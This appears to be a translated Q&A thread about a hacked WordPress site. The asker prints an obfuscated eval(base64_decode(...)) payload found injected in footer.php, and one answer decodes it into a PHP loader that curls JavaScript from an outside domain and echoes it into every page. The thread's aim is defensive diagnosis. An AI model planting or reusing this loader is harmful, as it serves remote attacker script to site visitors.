恶意注入:应用程序文件中的serkey.php和eval()

时间:2015-05-25 09:02:52

标签: php wordpress security code-injection

我的服务器一直是代码注入攻击的受害者。

今天早上,我在Wordpress项目的根目录中发现了一个恶意文件serkey.php。最重要的是,footer.php注入了eval(),如下所示:

eval(base64_decode(ZXZhbCh...));

攻击与其他开发人员将一些旧的Drupal文件上传到服务器有关,但它影响了Wordpress网站,所以我不确定这些是否相关。

您是否曾受到此类攻击的影响?我特别感兴趣的是学习这种攻击的可能后门,以便我能更好地理解这种攻击并修复安全漏洞。

修改

完整eval()

<?php error_reporting(0); eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2hpWVhObE5qUmZaR1ZqYjJSbEtGcFlXbWhpUTJocFdWaE9iRTVxVW1aYVIxWnFZakpTYkV0R2NGbFhiV2hwVVRKb2NGZFdhRTlpUlRWeFZXMWFZVkl4V25GWmFrcFRZa1YwUmxSc2FHbFNla1pOVldwR2RtVkdiSFJOVlRsT1VqQmFXVlF4YUZkWFZURnpWMVJDV2xadGFGQlVWV1JQVGxadmVVNVdjRTVOVm04eFYxZDBXazVYVGtoVGJsSnBVa1ZLVEZwV1pEQmtNVVY1V2toT1QwMUZOWFZaVkVKM1V6Rk9SMWRxVmxwaE1EVkRWREZXYzFKR1RuUlBWM1JVVW10dmVsWkVTbkpPUjFKMFVtNVNVMkZyY0dGV01GcExZekZyZVUxSVpHeFNXR2d4VlZkd1QxUlZNWFZSYlRsaFVucEdSMXBITVVka1ZrcHhVbTFHV0ZKWE9IaFdSVnBUVW0xU1ZrNVlRazlUU0VKT1dXeFNSMlF4YkhSaGVrWnFWakEwTVZVeFVtdFNSbTk1WkVWMFZHRXlVbEJaYWtKelVsVXhTRnBHY0U1TlZtOHhWMWQwV2s1WFRraFRibEpwVWtWS1RWVlVTbnBOTVVWNVdraEtWR0V6UWtwV1Z6VkRZVlpaZUZkcVNtRlNiV2hUVjJwR1ExWkdSbFZTYkVKclRXcHNURlZVUm10VU1ERllWRzVTYkZJeGNIRlVWM2hhWkRGc2NWUnJUazVTV0ZKRlZsY3hkMkZHUlhwaFJWWlhZa1p3VEZaR1dsSmxSa1p6Vm14c1RsWnNjRlZXYTFaUFRUSkZlVlZzYkZSaWF6Vk5WbXRvVDFSR1JYaFNiazVvWWxaS1dsVXlOVTlY.VlRCM1RsaE9ZVkpYVFRGYVJFcFRVa1p2ZVdSR2NFNWlWMUkyVmxaU1IxWXhWWGhWYTFwUVZtdGFXRlZ0Y0hOV1JsWnpWMnhPVjJKR1dubFViRnBYVm0xRmQxZHNRbGRXUlVwb1ZXMTRWMk5IVVhwaFJYaFhVMFUxVFZWVVJrZGpNa1owVld4c1ZHSnJOVnBVVkVFeFl6RndSbGw2Vm10TmJFcEZWMnBLTUZkck1YUmFTSEJXVmtWYVdGWlVSbE5TYXpsWFVteGtVMkZ0ZUVaV2ExSkNUVlpSZUZOc1dsVmlSbHBZVld4a05GUXhWbk5XVkZaWC5Za1p3UlZwRVNqQmhNVWw1WlVSQ1dHSkhUVEZVVm1SVFVrZEdObHBGVW1GTmJsSk1WVEowYTFVeVJraFZhMmhUVmpKU1VsWlVRa3RqVm5CSFlVVjBhazFYWkRWV2JYQlRXVlpaZDAxWVdsUmhNbEpRV1dwQ01GWlhUWGRrUlZKV1ZqTm9lRmRyV205VE1rMTRXak5zVldKck5YQlVWRUV4WXpGTmQxUnNUbWhpVlZwRldWaHdhMUpHYjNsa1JYUllZa2RTVUZscVNrdE9Wa1pZWWtWMFUwMVZjSFpYYTFaclVtMUdWazlVVG1sTlNFSjBWbFpqTkdORmRGVmplV3R3VDNjcEtUcykpOw)); ?>

2 个答案:

答案 0 :(得分:2)

如果你想知道它在做什么,这里是代码,

error_reporting(0);
if(function_exists('curl_init'))
{
    $url = "http://javaterm1.pw/java/jquery-1.6.3.min.js";
    $ch = curl_init();
    $timeout = 5;
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
    $data = curl_exec($ch);
    curl_close($ch);
    echo "$data";
}

它通过$url中的链接为您的代码添加了javascript,打开链接并选择View page source以查看javascript并尝试了解它正在做什么。

这有很大的可能性,例如使用恶意wordpress主题,使用旧版本的PHP,从用户输入表单并直接使用它来处理。

当你试图理解javascript时,可能需要时间,就像@Dagon建议的那样。

答案 1 :(得分:2)

问题是你的一个插件注入了代码。

我遇到了同样的问题并且发现代码被注入,并且在分析代码时发现许多用户甚至对在localhost中运行wordpress的一些用户都发生了这种情况。

因此,此代码注入的唯一可能性是通过插件。检查所有插件。您使用的所有插件都是可靠且良好的插件。

删除所有可疑插件,并出于安全原因更改所有服务器和管理员密码。